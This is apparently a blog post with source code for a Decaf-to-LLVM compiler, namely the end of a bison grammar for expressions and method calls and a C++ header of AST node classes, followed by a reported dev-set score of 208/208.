decafBinexp * exp = new decafBinexp("Minus", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_MULT exp {
decafBinexp * exp = new decafBinexp("Mult", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_DIV exp {
decafBinexp * exp = new decafBinexp("Div", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_MOD exp {
decafBinexp * exp = new decafBinexp("Mod", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_LEFTSHIFT exp {
decafBinexp * exp = new decafBinexp("Leftshift", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_RIGHTSHIFT exp {
decafBinexp * exp = new decafBinexp("Rightshift", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_LEQ exp {
decafBinexp * exp = new decafBinexp("Leq", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_GEQ exp {
decafBinexp * exp = new decafBinexp("Geq", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_LT exp {
decafBinexp * exp = new decafBinexp("Lt", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_GT exp {
decafBinexp * exp = new decafBinexp("Gt", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_EQ exp {
decafBinexp * exp = new decafBinexp("Eq", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_NEQ exp {
decafBinexp * exp = new decafBinexp("Neq", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_AND exp {
decafBinexp * exp = new decafBinexp("And", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| exp T_OR exp {
decafBinexp * exp = new decafBinexp("Or", (decafBinexp*)$1, (decafBinexp*)$3);
$$ = exp;
}
| T_LPAREN exp T_RPAREN { $$ = $2; }
| T_ID {
decafAllexp * exp = new decafAllexp(*$1,"VariableExpr");
$$ = exp;
delete $1;
}
| T_ID T_LSB exp T_RSB {
decafAllexp * exp = (decafAllexp *)$3;
decafArrexp * arr = new decafArrexp(*$1,exp);
$$ = arr;
delete $1;
}
| T_INTCONSTANT {
decafAllexp * exp = new decafAllexp(*$1,"NumberExpr");
$$ = exp;
delete $1;
}
| T_CHARCONSTANT {
decafAllexp * exp = new decafAllexp(*$1,"NumberExpr");
$$ = exp;
}
| T_STRINGCONSTANT {
decafAllexp * exp = new decafAllexp(*$1,"StringConstant");
$$ = exp;
}
| T_TRUE {
decafAllexp * exp = new decafAllexp("True","BoolExpr");
$$ = exp;
}
| T_FALSE {
decafAllexp * exp = new decafAllexp("False","BoolExpr");
$$ = exp;
}
| method_call { $$ = $1; }
;

method_call: T_ID T_LPAREN para_list_use T_RPAREN {
decafFunCall *call = new decafFunCall();
decafStmtList* para = (decafStmtList*)$3;
call->put_name($1);
call->put_para(para->get_para());
$$ = call;
delete $1;
}
;

%%

int main() {
// initialize LLVM
// Make the module, which holds all the code.
TheModule = new llvm::Module("Test", Context);
// set up symbol table
// set up dummy main function
llvm::StringRef newFilename = "DecafComp";
TheModule->setSourceFileName(newFilename);
// parse the input and create the abstract syntax tree
int retval = yyparse();
// remove symbol table
// Finish off the main function. (see the WARNING above)
// return 0 from main, which is EXIT_SUCCESS
// Validate the generated code, checking for consistency.
// Print out all of the generated code to stderr
TheModule->print(llvm::errs(), nullptr);
return(retval >= 1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
#include "default-defs.h"
#include <list>
#include <ostream>
#include <iostream>
#include <sstream>
#include <map>
#include <regex>

#ifndef YYTOKENTYPE
#include "decafcomp.tab.h"
#endif

using namespace std;
extern llvm::Module *TheModule;

class descriptor {
public:
union
{
llvm::AllocaInst * alloc;
llvm::Function* func;
llvm::Value* value;
llvm::Type* type;
};
llvm::ArrayType *tyg;
llvmValue kind;
};

// decafAST - Base class for all abstract syntax tree nodes.
class decafAST {
public:
descriptor des = {0};
virtual ~decafAST() {}
virtual string str() { return string(""); }
llvm::Value *Codegen(){
return des.value;
};
};

llvm::Type *getLLVMType(llvmType ty, llvm::LLVMContext &Context ) {
switch (ty) {
case voidTy: return llvm::Type::getVoidTy(Context);
case intTy: return llvm::Type::getInt32Ty(Context);
case boolTy: return llvm::Type::getInt1Ty(Context);
case stringTy: return llvm::Type::getInt8PtrTy(Context);
default: throw runtime_error("unknown type");
}
}

template <class T>
llvm::Value *listCodegen(list<T> vec) {
llvm::Value *val = NULL;
for (typename list<T>::iterator i = vec.begin(); i != vec.end(); i++) {
llvm::Value *j = (*i)->Codegen();
if (j != NULL) { val = j; }
}
return val;
}

string getString(decafAST *d) {
if (d != NULL) {
return d->str();
} else {
return string("None");
}
}

template <class T>
string commaList(list<T> vec) {
string s("");
for (typename list<T>::iterator i = vec.begin(); i != vec.end(); i++) {
s = s + (s.empty() ? string("") : string(",")) + (*i)->str();
}
if (s.empty()) {
s = string("None");
}
return s;
}

// decafStmtList - List of Decaf statements
class decafStmtList : public decafAST {
list<decafAST *> stmts;
public:
decafStmtList() {}
~decafStmtList() {
for (list<decafAST *>::iterator i = stmts.begin(); i != stmts.end(); i++) {
delete *i;
}
}
int size() { return stmts.size(); }
void push_front(decafAST *e) { stmts.push_front(e); }
void push_back(decafAST *e) { stmts.push_back(e); }
list<decafAST *> get_para(){return stmts; }
string str() { return commaList<class decafAST *>(stmts); }
llvm::Value * Codegen() {
return listCodegen<decafAST *>(stmts);
}
};

class decafAllexp : public decafAST {
string Kind;
string Name;
public:
string get_name(){return this->Name; }
string get_kind(){return this->Kind; }
decafAllexp(){}
decafAllexp(string name,string kind) : Name(name),Kind(kind){
this->des.kind = valueK;
map<string,int> tab = {
{"'\\t'",'\t'},
{"'\\r'",'\r'},
{"'\\n'",'\n'},
{"'\\a'",'\a'},
{"'\\v'",'\v'},
{"'\\b'",'\b'},
{"'\\f'",'\f'},
{"'\\\\'",'\\'},
{"'\\\''",'\''},
{"'\\\"'",'\"'},
};
if( kind == "NumberExpr"){
if(tab.count(this->Name)){
this->Name = to_string(tab[this->Name]);
}
else if(this->Name.size() == 1){
this->Name = to_string(Name[0]-48);
}
else if(this->Name.size() == 3 && ( this->Name[0]=='\'' || this->Name[0]=='\"' )){
this->Name = to_string(Name[1]);
}
}
if( kind == "StringConstant"){
string s = this->get_name().erase(0,1);
s.pop_back();
for(int i=0;i<s.length();i++){
if(s[i] == '\\'){
char t[0x8];
sprintf(t,"'\\%c'",s[i+1]);
s[i+1] = tab[t];
for(int j=i;j<s.length()-1;j++){
s[j] = s[j+1];
}
s.pop_back();
}
}
this->Name = s;
}
}
string str() { return Kind + "(" + Name + ")"; }
llvm::Value *Codegen();
};

class decafArrexp : public decafAllexp {
string Name;
decafAllexp * Arr;
public:
decafArrexp(string Name, decafAllexp *Arr) : Name(Name), Arr(Arr) {
this->des.kind = arrG;
}
string get_name(){ return this->Name; }
decafAllexp* get_arr() {return this->Arr;}
string str() { return string("ArrayLocExpr") + "(" + Name + "," + getString(Arr) + ")"; }
llvm::Value *Codegen();
};

class decafBinexp : public decafAllexp {
public:
string Option;
decafBinexp * Exp1;
decafBinexp * Exp2;
decafBinexp(){}
decafBinexp(string op, decafBinexp *exp1, decafBinexp *exp2)
: Option(op), Exp1(exp1), Exp2(exp2) {
this->des.kind = expbK;
}
virtual int get_op(string Option);
string str() { return string("BinaryExpr") + "(" + Option + "," + getString(Exp1) + "," + getString(Exp2) + ")"; }
llvm::Value *Codegen();
};

int decafBinexp::get_op(string Option){
if(Option == "Plus")
return addtmp;
else if(Option == "Minus")
return subtmp;
else if(Option == "Mult")
return multmp;
else if(Option == "UnaryMinus")
return negtmp;
else if(Option == "Div")
return divtmp;
else if(Option == "Mod")
return modtmp;
else if(Option == "Or")
return ortmp;
else if(Option == "And")
return andtmp;
else if(Option == "Eq")
return eqtmp;
else if(Option == "Neq")
return neqtmp;
else if(Option == "Not")
return nottmp;
else if(Option == "Lt")
return slttmp;
else if(Option == "Gt")
return gttmp;
else if(Option == "Leq")
return sletmp;
else if(Option == "Geq")
return geqtmp;
else if(Option == "Leftshift")
return shltmp;
else if(Option == "Rightshift")
return lshrtmp;
else
return 0;
}

class decafUnaryexp : public decafBinexp {
public:
decafUnaryexp(){}
decafUnaryexp(string op, decafBinexp *exp1){
decafBinexp::Option = op;
decafBinexp::Exp1 = exp1;
decafBinexp::Exp2 = NULL;
this->des.kind = expuK;
}
string str() {
return string("UnaryExpr") + "(" + Option + "," + getString(Exp1) + ")";
}
};

class decafType : public decafAST {
string Type;
string Name;
public:
llvm::Type* lType;
llvmType Ty;
string get_type(){return this->Type; }
string get_name(){return this->Name; }
void put_name(string Name){ this->Name = Name;}
decafType(string Type){this->Type = Type;}
string str() {
if(Name != ""){
return "VarDef("+Name+","+Type+")";
}
else{
return "VarDef("+Type+")";
}
}
llvm::Value *Codegen();
};

class decafVar : public decafAST {
string Type;
string Name;
string Kind;
decafAllexp* Exp;
decafAllexp* Arr;
public:
llvm::AllocaInst *Alloca;
llvm::Type* lType;
decafVar(string Name) {this->Name = Name;}
string get_type(){return this->Type;}
string get_name(){return this->Name;}
string get_kind(){return this->Kind;}
decafAllexp* get_arr(){return this->Arr;}
decafAllexp* get_exp(){return this->Exp;}
void put_type(decafType* type){
this->Type = type->get_type();
this->lType = type->lType;
}
void put_name(string Name){this->Name = Name;}
void put_kind(string Kind){
if(this->Kind == "")
this->Kind = Kind;
}
void put_arr(decafAllexp* Arr){this->Arr = Arr;}
void put_exp(decafAllexp* Exp){this->Exp = Exp;}
string str() {
if(Exp != NULL){
return "AssignGlobalVar("+Name+","+Type+","+getString(Exp)+")";
}
else if(Kind != "" && Name != ""){
return "FieldDecl("+Name+","+Type+","+Kind+")";
}
else if(Name != ""){
return "VarDef("+Name+","+Type+")";
}
else{
return "VarDef("+Type+")";
}
}
llvm::Value *Codegen();
};

class decafVarList : public decafAST {
list<decafVar*> List;
public:
list<decafVar*> get_list(){return this->List; }
int size() { return List.size(); }
void push_front(decafVar *e) { List.push_front(e); }
void push_back(decafVar *e) { List.push_back(e); }
void cat_front(decafVarList* List) {
list<decafVar*> l = List->get_list();
for(auto e:l){
this->List.push_front(e);
}
}
void put_types(decafType* Type){
for(auto e:this->List){
e->put_type(Type);
}
}
void put_kinds(string Kind){
for(auto e:this->List){
e->put_kind(Kind);
}
}
string str() {return commaList<class decafVar *>(List);}
llvm::Value * Codegen() {
return listCodegen<decafVar *>(List);
}
};

class decafPara : public decafAST {
list<decafType *> Para;
public:
int size() { return Para.size(); }
void push_front(decafType *e) { Para.push_front(e); }
void push_back(decafType *e) { Para.push_back(e); }
list<decafType *> get_para(){return Para; }
string str() { return commaList<class decafType *>(Para); }
llvm::Value *Codegen();
};

class decafStmt : public decafAST {
public:
llvmStmt kind;
decafStmt(){}
llvm::Value * Codegen();
};

class decafStmts : public decafAST {
list<decafStmt *> stmts;
public:
decafStmts() {}
int size() { return stmts.size(); }
void push_front(decafStmt *e) { stmts.push_front(e); }
void push_back(decafStmt *e) { stmts.push_back(e); }
list<decafStmt *> get_para(){return stmts; }
string str() { return commaList<class decafStmt *>(stmts); }
llvm::Value * Codegen() {
llvm::Value* v = listCodegen<decafStmt *>(stmts);
return v;
}
};

class decafCB : public decafStmt {
string Data;
public:
decafCB(string Data){this->Data = Data;}
string str() { return Data; }
llvm::Value * Codegen();
};

class decafFunCall : public decafStmt {
string Name;
list<decafAST *> Para;
public:
decafFunCall(){
this->kind = dcall;
this->des.kind = funcK;
}
void put_para(list<decafAST *> Para){ this->Para = Para; }
void put_name(string *Name){ this->Name = *Name; }
int size() { return Para.size(); }
string get_name(){ return this->Name; }
list<decafAST *> get_para(){ return this->Para; }
string str() {
return string("MethodCall") + "(" + Name + "," + commaList<class decafAST *>(Para) + ")";
}
llvm::Value *Codegen();
};

class decafAssign : public decafStmt {
string Var;
bool key;
decafAllexp* Arr;
decafBinexp* Exp;
public:
void put_arr(decafAllexp* Arr){this->Arr = Arr;}
void put_key(bool key){this->key = key;}
string get_var(){ return this->Var; }
decafAllexp* get_arr(){return this->Arr;}
decafBinexp* get_exp(){ return this->Exp; }
decafAssign(string Var, decafBinexp* Exp):Var(Var),Exp(Exp){}
string str() {
if(Arr == NULL)
return string("AssignVar") + "(" + Var + "," + getString(Exp) + ")";
else
return string("AssignArrayLoc") + "(" + Var + "," + getString(Arr)+","+ getString(Exp) + ")";
}
llvm::Value *Codegen();
};

class decafAssignList : public decafAST {
list<decafAssign *>List;
public:
int size() { return List.size(); }
void push_front(decafAssign *e) { List.push_front(e); }
void push_back(decafAssign *e) { List.push_back(e); }
void put_keys(bool key){
for(auto ass:List){
ass->put_key(key);
}
}
string str() {
return commaList<class decafAssign *>(List);
}
llvm::Value *Codegen() {
return listCodegen<decafAssign *>(List);
}
};

class decafBlock : public decafStmt {
string BloKind;
decafVarList *FieldDeclList;
decafStmts *StateDeclList;
public:
decafBlock(string blokind,decafVarList *fieldlist, decafStmts *methodlist)
: BloKind(blokind), FieldDeclList(fieldlist), StateDeclList(methodlist) { this->kind = dblo; }
~decafBlock() {
if (FieldDeclList != NULL) { delete FieldDeclList; }
if (StateDeclList != NULL) { delete StateDeclList; }
}
string str() {
return BloKind + "(" + getString(FieldDeclList) + "," + getString(StateDeclList) + ")";
}
llvm::Value *Codegen();
};

class decafFuncDef : public decafAST {
string Name;
string Type;
decafPara * Para;
decafBlock * Block;
public:
llvm::Type *lType;
llvm::Function *lfunc;
void put_para(decafPara * Para){ this->Para = Para;}
void put_name(string *Name){ this->Name = *Name; }
void put_type(decafType* type){
this->Type = type->get_type();
this->lType = type->lType;
}
void put_block(decafBlock *Block){ this->Block = Block; }
decafBlock *get_block(){ return this->Block; }
decafPara *get_para(){ return this->Para; }
string get_name(){ return this->Name; }
string str() {
return string("Method") + "(" + Name + "," + Type + "," + getString(Para) + "," + getString(Block) + ")";
}
llvm::Value *Codegen();
};

class decafFuncDefList : public decafAST {
list<decafFuncDef*> List;
public:
list<decafFuncDef*> get_list(){return this->List; }
int size() { return List.size(); }
void push_front(decafFuncDef *e) { List.push_front(e); }
void push_back(decafFuncDef *e) { List.push_back(e); }
void cat_front(decafFuncDefList* List) {
list<decafFuncDef*> l = List->get_list();
for(auto e:l){
this->List.push_front(e);
}
}
void put_types(decafType* Type){
for(auto e:this->List){
e->put_type(Type);
}
}
string str() {return commaList<class decafFuncDef *>(List);}
llvm::Value *Codegen() {
return listCodegen<decafFuncDef *>(List);
}
};

class decafEXFuncDef : public decafAST {
string Name;
string Type;
decafPara* Para;
public:
llvm::Type *lType;
llvm::Function *lfunc;
void put_para(decafPara* Para){ this->Para = Para;}
void put_name(string *Name){ this->Name = *Name; }
void put_type(decafType* type){
this->Type = type->get_type();
this->lType = type->lType;
}
string get_name(){return this->Name; }
string get_type(){return this->Type; }
decafPara* get_para(){ return this->Para; }
string str() {
return string("ExternFunction") + "(" + Name + "," + Type + "," + getString(Para) + ")";
}
llvm::Value *Codegen();
};

class decafEXFuncDefList : public decafAST {
list<decafEXFuncDef*> List;
public:
list<decafEXFuncDef*> get_list(){return this->List; }
int size() { return List.size(); }
void push_front(decafEXFuncDef *e) { List.push_front(e); }
void push_back(decafEXFuncDef *e) { List.push_back(e); }
void cat_front(decafEXFuncDefList* List) {
list<decafEXFuncDef*> l = List->get_list();
for(auto e:l){
this->List.push_front(e);
}
}
void put_types(decafType* Type){
for(auto e:this->List){
e->put_type(Type);
}
}
string str() {return commaList<class decafEXFuncDef *>(List);}
llvm::Value *Codegen() {
return listCodegen<decafEXFuncDef *>(List);
}
};

class PackageAST : public decafAST {
string Name;
decafVarList *FieldDeclList;
decafFuncDefList *MethodDeclList;
public:
PackageAST(string name, decafVarList *fieldlist, decafFuncDefList *methodlist)
: Name(name), FieldDeclList(fieldlist), MethodDeclList(methodlist) {}
~PackageAST() {
if (FieldDeclList != NULL) { delete FieldDeclList; }
if (MethodDeclList != NULL) { delete MethodDeclList; }
}
string str() {
return string("Package") + "(" + Name + "," + getString(FieldDeclList) + "," + getString(MethodDeclList) + ")";
}
llvm::Value *Codegen() {
llvm::Value *val = NULL;
TheModule->setModuleIdentifier(llvm::StringRef(Name));
if (NULL != FieldDeclList) {
val = FieldDeclList->Codegen();
}
if (NULL != MethodDeclList) {
val = MethodDeclList->Codegen();
}
// Q: should we enter the class name into the symbol table?
return val;
}
};

class decafIF : public decafStmt {
decafBinexp * Exp;
decafBlock * Block;
decafBlock * Block2;
public:
decafIF(decafBinexp * Exp,decafBlock * Block,decafBlock * Block2): Exp(Exp),Block(Block),Block2(Block2){}
decafBinexp * get_exp(){return this->Exp; }
decafBlock * get_block(){return this->Block; }
decafBlock * get_block2(){return this->Block2; }
string str() {
return string("IfStmt") + "(" + getString(Exp) +"," + getString(Block) + "," + getString(Block2) + ")";
}
llvm::Value *Codegen();
};

class decafWhile : public decafStmt {
decafBinexp * Exp;
decafBlock * Block;
public:
decafBinexp *get_exp(){return this->Exp; }
decafBlock *get_block(){return this->Block; }
decafWhile(decafBinexp * Exp,decafBlock * Block): Exp(Exp),Block(Block){}
string str() {
return string("WhileStmt") + "(" + getString(Exp) +"," + getString(Block) + ")";
}
llvm::Value *Codegen();
};

class decafFor : public decafStmt {
decafBinexp * Exp;
decafBlock * Block;
decafAssignList *List;
decafAssignList *List2;
public:
decafFor(decafBinexp * Exp,decafBlock * Block,decafAssignList *List,decafAssignList *List2): Exp(Exp),Block(Block),List(List),List2(List2){}
decafBinexp *get_exp(){return this->Exp; }
decafBlock *get_block(){return this->Block; }
decafAssignList *get_list(){return this->List; }
decafAssignList *get_list2(){return this->List2; }
string str() {
return string("ForStmt") + "(" + getString(List)+","+getString(Exp) +","+getString(List2)+","+getString(Block) + ")";
}
llvm::Value *Codegen();
};

class decafReturn : public decafStmt {
decafBinexp * Exp;
public:
decafReturn(){
this->kind = dret;
}
decafReturn(decafBinexp * Exp){
this->Exp = Exp;
this->kind = dret;
}
decafBinexp* get_exp(){ return this->Exp; }
string str() { return string("ReturnStmt") + "(" + getString(Exp) + ")"; }
llvm::Value *Codegen();
};

// ProgramAST - the decaf program
class ProgramAST : public decafAST {
decafEXFuncDefList *ExternList;
PackageAST *PackageDef;
public:
ProgramAST(decafEXFuncDefList *externs, PackageAST *c) : ExternList(externs), PackageDef(c) {}
~ProgramAST() {
if (ExternList != NULL) { delete ExternList; }
if (PackageDef != NULL) { delete PackageDef; }
}
string str() { return string("Program") + "(" + getString(ExternList) + "," + getString(PackageDef) + ")"; }
llvm::Value *Codegen() {
llvm::Value *val = NULL;
if (NULL != ExternList) {
val = ExternList->Codegen();
}
if (NULL != PackageDef) {
val = PackageDef->Codegen();
} else {
throw runtime_error("no package definition in decaf program");
}
return val;
}
};

最终结果如下:

1
2
3
Correct(dev): 208 / 208
Score(dev): 208.00
Total Score: 208.00